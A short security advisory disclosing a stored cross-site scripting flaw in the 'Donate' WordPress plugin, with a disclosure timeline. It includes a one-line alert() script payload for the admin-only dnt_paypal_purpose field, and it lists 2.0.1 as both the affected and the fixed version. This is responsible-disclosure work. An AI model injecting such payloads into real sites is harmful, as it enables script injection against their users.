`Plugin Name : Donate
Effected Version : 2.0.1 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
The following field put the payload as below
http://localhost/wp-admin/admin.php?page=donate.php
dnt_paypal_purpose = ‘><script>alert(2)</script>
Vulnerable Parameter : dnt_paypal_purpose
Type of XSS : Stored
Fixed in : 2.0.1
http://wordpress.org/plugins/donate-button/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
Donate plugin helps to get donations from payment systems, like PayPal or 2CheckOut. It has a user-friendly and simple interface which allows to place the donate button anywhere on the site.
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